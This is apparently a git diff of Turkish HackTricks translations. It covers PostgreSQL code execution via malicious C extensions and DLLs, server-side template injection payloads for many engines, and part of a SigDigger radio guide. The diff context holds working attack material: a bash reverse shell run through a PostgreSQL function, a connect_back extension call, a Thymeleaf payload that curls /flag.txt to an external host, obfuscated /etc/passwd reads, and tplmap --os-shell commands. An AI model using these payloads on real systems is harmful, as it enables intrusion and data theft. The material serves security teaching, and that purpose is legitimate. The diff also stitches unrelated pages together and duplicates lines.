PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler olup, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir.
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmeleri gerekmektedir. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
Ayrıca, **eğer PostgreSQL'i kötüye kullanarak kurbanın dosyalarını nasıl yükleyeceğinizi bilmiyorsanız, bu yazıyı okumalısınız.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
@ -73,9 +73,9 @@ Ancak, daha büyük sürümlerde denendiğinde **aşağıdaki hata gösterildi**
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Bu hata [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır:
Bu hata, [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır:
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı bir ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2 itibarıyla bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
@ -90,9 +90,9 @@ PostgreSQL sürümünü almak için:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Uyumluluk için, ana sürümlerin uyumlu olması gerekmektedir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır.
Uyumluluk için, ana sürümlerin uyumlu olması gereklidir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır.
O sürümü sisteminize kurmak için:
Bu sürümü sisteminize kurmak için:
```bash
apt install postgresql postgresql-server-dev-9.6
```
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Bu **kütüphaneyi önceden derlenmiş** olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta bunu **otomatikleştirebilirsiniz** (eğer PostgreSQL erişiminiz varsa) ile:
Bu **kütüphaneyi önceden derlenmiş** olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta **bu süreci otomatikleştirebilirsiniz** (eğer PostgreSQL erişiminiz varsa) ile:
{{#ref}}
https://github.com/Dionach/pgexec
@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec
### Windows'ta RCE
Aşağıdaki DLL, **ikili dosyanın adını** ve **kaç kez** çalıştırmak istediğinizi girdi olarak alır ve çalıştırır:
Aşağıdaki DLL, **ikili dosyanın adını** ve **kaç kez** çalıştırmak istediğinizi **girdi** olarak alır ve çalıştırır:
```c
#include "postgres.h"
#include <string.h>
@ -166,7 +166,9 @@ PG_RETURN_VOID();
```
Bu zip dosyasında derlenmiş DLL'yi bulabilirsiniz:
{% file src="../../../images/pgsql_exec.zip" %}
{{#file}}
pgsql_exec.zip
{{#endfile}}
Bu DLL'ye **hangi ikili dosyanın çalıştırılacağını** ve kaç kez çalıştırılacağını belirtebilirsiniz, bu örnekte `calc.exe` 2 kez çalıştırılacaktır:
```bash
@ -262,7 +264,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
**En son sürümlerde** PostgreSQL'de, `superuser`'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını **yüklemesi** **yasaklanmıştır**, örneğin Windows'ta `C:\Program Files\PostgreSQL\11\lib` veya \*nix sistemlerinde `/var/lib/postgresql/11/lib`. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı **güvenli** hale getirilmiştir.
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ı, "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazabilir**. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir.
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ının "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazması** mümkündür. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir.
`CREATE FUNCTION` komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine **dizin geçişine** **izin vermesidir**. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi **istismar ederek** veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından **yükleyebilir**. Bu istismar, saldırgana sistemde rastgele kod çalıştırma yeteneği sağlar.
@ -279,11 +281,11 @@ Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, b
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Not edin `.dll` uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir._
_Not edinmeniz gereken `.dll` uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir._
Daha fazla bilgi için **orijinal yayını**[ **buradan okuyun**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
O yayında **bu, postgres uzantısını oluşturmak için kullanılan** [**koddu**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun_).\
Aynı sayfada bu **teknik otomatikleştirmek için** bir **sömürü** verildi:
Aynı sayfada bu **teknik otomatikleştirmek için** bir exploit verildi:
```python
#!/usr/bin/env python3
import sys

View File

@ -1,10 +1,10 @@
# SSTI (Sunucu Tarafı Şablon Enjeksiyonu)
# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
## SSTI (Sunucu Tarafı Şablon Enjeksiyonu) Nedir
## SSTI Nedir (Server-Side Template Injection)
Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja da dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Server tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja da dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak bir güvenlik açığına sahip kod parçasını gösteren bir örneği ele alalım:
```python
@ -16,24 +16,24 @@ Bu savunmasız kodda, kullanıcının isteğinden gelen `name` parametresi doğr
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Yük `{{bad-stuff-here}}` `name` parametresine enjekte edilir. Bu yük, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol kazanabilir.
Payload `{{bad-stuff-here}}` `name` parametresine enjekte edilir. Bu payload, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol kazanabilir.
Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdisinin şablonlara eklenmeden önce düzgün bir şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Girdi doğrulaması uygulamak ve bağlama duyarlı kaçış teknikleri kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.
### Tespit
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yükle olan yanıtındaki farklılıkları analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel payload'a verdiği yanıtlar arasındaki farkları analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
- Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.
- Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder.
- Yansıma içinde payload'un yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder.
- **Düz Metin Bağlamı**: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin, `{{7*7}}`, `${7*7}`).
- **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello` gibi bir değişiklik yapın.
- **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello` gibi bir yanıt alıp almadığını kontrol edin.
#### Tanımlama Aşaması
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında `${7/0}`, `{{7/0}}` ve `<%= 7/0 %>` bulunur. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik payload'ları manuel olarak test etmeyi içerir. Hatalara neden olan yaygın payload'lar `${7/0}`, `{{7/0}}` ve `<%= 7/0 %>` içerir. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.
#### Yüklerle Tanımlama
#### Payload'lar ile Tanımlama
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
@ -60,15 +60,15 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Şablon Enjeksiyonu Tablosu](https://github.com/Hackmanit/template-injection-table)
### [Şablon Enjeksiyon Tablosu](https://github.com/Hackmanit/template-injection-table)
en etkili şablon enjeksiyonu poliglotlarını ve 44 en önemli şablon motorunun beklenen yanıtlarını içeren etkileşimli bir tablo.
en etkili şablon enjeksiyon poliglotlarını ve 44 en önemli şablon motorunun beklenen yanıtlarını içeren etkileşimli bir tablo.
## Sömürüler
### Genel
Bu **kelime listesinde** aşağıda belirtilen motorların bazı ortamlarında **tanımlı değişkenler** bulabilirsiniz:
Bu **kelime listesinde** aşağıda belirtilen motorların bazı ortamlarında **tanımlı değişkenleri** bulabilirsiniz:
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -112,7 +112,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
```
**Freemarker - Sandbox atlatma**
⚠️ yalnızca 2.3.30 altındaki Freemarker sürümlerinde çalışır
⚠️ yalnızca Freemarker 2.3.30'dan önceki sürümlerde çalışır
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
@ -171,20 +171,20 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade iç içe geçirme_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir, bu da yaygın değildir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir ki bu da yaygın değildir.
Thymeleaf ayrıca, çift alt çizgi içinde (`__...__`) bulunan ifadelerin ön işleme tabi tutulduğu _ifade ön işleme_ sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi ifadelerin inşasında kullanılabilir:
Thymeleaf ayrıca, çift alt çizgi (`__...__`) içindeki ifadelerin ön işleme tabi tutulduğu _ifade ön işleme_ sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi, ifadelerin inşasında kullanılabilir:
```java
#{selection.__${sel.code}__}
```
**Thymeleaf'deki Zafiyet Örneği**
Aşağıdaki kod parçasını düşünün, bu istismar edilmeyeık olabilir:
Aşağıdaki kod parçasını düşünün, bu istismaraık olabilir:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Bu, şablon motorunun bu girdileri yanlış işlemesi durumunda, uzaktan kod yürütmeye yol açabileceğini gösterir ve şu URL'lere erişim sağlayabilir:
Bu, şablon motorunun bu girdileri yanlış bir şekilde işlemesi durumunda, uzaktan kod yürütmeye yol açabileceğini gösterir ve şu URL'lere erişim sağlayabilir:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -205,11 +205,11 @@ el-expression-language.md
Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` çalışmıyorsa `#{...}`, `*{...}`, `@{...}` veya `~{...}` deneyin.
- `/etc/passwd` dosyasını okuyun
- `/etc/passwd` dosyasını oku
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
- Yükleme oluşturma için Özel Script
- Payload oluşturma için Özel Script
```python
#!/usr/bin/python3
@ -289,7 +289,7 @@ Yeni Pebble sürümü:
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur.
Jinjava, Hubspot tarafından geliştirilen açık kaynak bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur.
**Jinjava - Komut yürütme**
@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır.
- **JavaServer Pages (JSP)**: JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileri ile bağlamayı kolaylaştırır.
- **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında sorunsuz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
- **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşimi sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
**EL yorumlayıcılarının** istismarını öğrenmek için aşağıdaki sayfayı kontrol edin:
@ -477,7 +477,7 @@ array("first_name" => $user.first_name)
**Daha fazla bilgi**
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Twig ve Twig (Sandboxed) bölümü
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran derlenmeyen PHP şablon motorudur.
> [patTemplate](https://github.com/wernerwa/pat-template) derlenmeyen PHP şablon motorudur ve bir belgeyi farklı parçalara ayırmak için XML etiketleri kullanır.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -662,12 +662,14 @@ URLencoded:
```
**Daha fazla bilgi**
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender (NodeJS)
| **Şablon** | **Açıklama** |
|------------|---------------------------------------|
| | Çıktıyı değerlendirin ve render edin |
| | HTML kodlanmış çıktıyı değerlendirin ve render edin |
| | HTML kodlu çıktıyı değerlendirin ve render edin |
| | Yorum |
| ve | Koda izin ver (varsayılan olarak devre dışı) |
@ -775,7 +777,7 @@ range.constructor(
### Python
Python'da **keyfi komut yürütme sandboxes'ını atlama** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
**Kumanda geçişlerini atlama** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -928,7 +930,7 @@ ${x}
### Mojolicious (Perl)
Perl olmasına rağmen Ruby'deki ERB gibi etiketler kullanır.
Perl olmasına rağmen, Ruby'deki ERB gibi etiketler kullanır.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Hata`
@ -940,9 +942,9 @@ Perl olmasına rağmen Ruby'deki ERB gibi etiketler kullanır.
Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir:
- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçirilirse, `{{ .Password }}` bunu açığa çıkarabilir.
- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçilirse, `{{ .Password }}` bunu açığa çıkarabilir.
- `{{printf "%s" "ssti" }}`: "ssti" dizesini göstermesi beklenir.
- `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "ssti" döndürmeli, "html" veya "js" eklememelidir. Daha fazla yönerge Go belgelerinde [burada](https://golang.org/pkg/text/template) incelenebilir.
- `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "html" veya "js" eklemeden "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde [burada](https://golang.org/pkg/text/template) incelenebilir.
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
@ -954,7 +956,7 @@ vbnet Copy code
**RCE Exploitation**
RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir kamu fonksiyonunu doğrudan çağırmaya izin verir ( “call” değeri kullanarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur.
RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ( “call” değeri kullanarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur.
Go'da SSTI aracılığıyla RCE için, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesne komutları yürüten bir `System` yöntemine sahipse, `{{ .System "ls" }}` gibi istismar edilebilir. Bunu istismar etmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi:
```go
@ -968,13 +970,15 @@ return string(out)
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Daha Fazla Sömürü
### Daha Fazla İstismar
Daha fazla sömürü için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kısmını kontrol edin. Ayrıca [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) adresinde ilginç etiket bilgileri bulabilirsiniz.
Daha fazla istismar için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kısmını kontrol edin. Ayrıca [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) adresinde ilginç etiket bilgileri bulabilirsiniz.
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## İlgili Yardım

View File

@ -8,8 +8,8 @@
### Temel Konfigürasyon
Kurulumdan sonra yapılandırmayı düşünebileceğiniz birkaç şey var.\
Ayarlar (ikinci sekme düğmesi) bölümünde **SDR cihazını** seçebilir veya **bir dosya** seçerek okunacak dosyayı ve senkronize edilecek frekansı ve örnekleme hızını (PC'niz destekliyorsa 2.56Msps'a kadar önerilir) ayarlayabilirsiniz.\\
Kurulumdan sonra yapılandırmayı düşünebileceğiniz birkaç şey vardır.\
Ayarlar (ikinci sekme düğmesi) kısmında **SDR cihazını** seçebilir veya **bir dosya** seçerek okunacak dosyayı ve senkronize edilecek frekansı ve örnekleme hızını (PC'niz destekliyorsa 2.56Msps'a kadar önerilir) ayarlayabilirsiniz.\\
![](<../../images/image (245).png>)
@ -26,73 +26,75 @@ GUI davranışında, PC'niz destekliyorsa birkaç şeyi etkinleştirmeniz öneri
![](<../../images/image (960).png>)
- SigDigger'ın **Tuner'ı**, **daha iyi sinyaller yakalamaya** yardımcı olur (ama aynı zamanda onları bozabilir). İdeal olarak 0 ile başlayın ve **sinyalin iyileşmesinden daha büyük** olan **gürültüyü** bulana kadar **büyütmeye devam edin**.
- SigDigger'ın **Tuner'ı**, **daha iyi sinyaller yakalamaya** yardımcı olur (ancak bunları da bozabilir). İdeal olarak 0 ile başlayın ve **sinyalin iyileşmesinden daha büyük** olan **gürültüyü** bulana kadar **büyütmeye devam edin**.
![](<../../images/image (1099).png>)
### Radyo kanalı ile senkronize olma
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile duymak istediğiniz kanalla senkronize olun, "Temel bant ses önizlemesi" seçeneğini yapılandırın, gönderilen tüm bilgileri almak için bant genişliğini ayarlayın ve ardından Tuner'ı gürültünün gerçekten artmaya başlamadan önceki seviyeye ayarlayın:
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile duymak istediğiniz kanal ile senkronize olun, "Temel bant ses önizlemesi" seçeneğini yapılandırın, gönderilen tüm bilgileri almak için bant genişliğini ayarlayın ve ardından Tuner'ı gürültünün gerçekten artmaya başlamadan önceki seviyeye ayarlayın:
![](<../../images/image (585).png>)
## İlginç ipuçları
- Bir cihaz bilgi patlamaları gönderdiğinde, genellikle **ilk kısım bir önsöz olacaktır**, bu yüzden orada **bilgi bulamazsanız** veya **bazı hatalar varsa** endişelenmenize gerek yoktur.
- Bir cihaz bilgi patlamaları gönderdiğinde, genellikle **ilk kısım bir öncül olacaktır**, bu yüzden orada **bilgi bulamazsanız** veya **bazı hatalar varsa** endişelenmenize gerek yoktur.
- Bilgi çerçevelerinde genellikle **birbirleriyle iyi hizalanmış farklı çerçeveler bulmalısınız**:
![](<../../images/image (1076).png>)
![](<../../images/image (597).png>)
- **Bitleri geri aldıktan sonra, onları bir şekilde işlemeniz gerekebilir**. Örneğin, Manchester kodlamasında bir yukarı+aşağı 1 veya 0 olacak ve bir aşağı+yukarı diğerini temsil edecektir. Yani 1'lerin ve 0'ların çiftleri (yukarı ve aşağı) gerçek bir 1 veya gerçek bir 0 olacaktır.
- Bir sinyal Manchester kodlaması kullanıyorsa (bir sırada iki 0 veya 1'den fazlasını bulmak imkansızdır), **önsözde birden fazla 1 veya 0 bulabilirsiniz**!
- **Bitleri geri aldıktan sonra, bunları bir şekilde işlemeniz gerekebilir**. Örneğin, Manchester kodlamasında yukarı+aşağı bir 1 veya 0, aşağı+yukarı ise diğeridir. Yani 1'lerin ve 0'ların (yukarı ve aşağı) çiftleri gerçek bir 1 veya gerçek bir 0 olacaktır.
- Bir sinyal Manchester kodlaması kullanıyorsa (bir sırada iki 0 veya 1'den fazlasını bulmak imkansızdır), **öncül içinde birden fazla 1 veya 0 bulabilirsiniz**!
### IQ ile modülasyon türünü açığa çıkarma
Sinyallerde bilgiyi depolamanın 3 yolu vardır: **amplitüd**, **frekans** veya **faz** modüle etmek.\
Bir sinyali kontrol ediyorsanız, bilgiyi depolamak için neyin kullanıldığını anlamanın farklı yolları vardır (aşağıda daha fazla yol bulabilirsiniz) ama iyi bir yol IQ grafiğini kontrol etmektir.
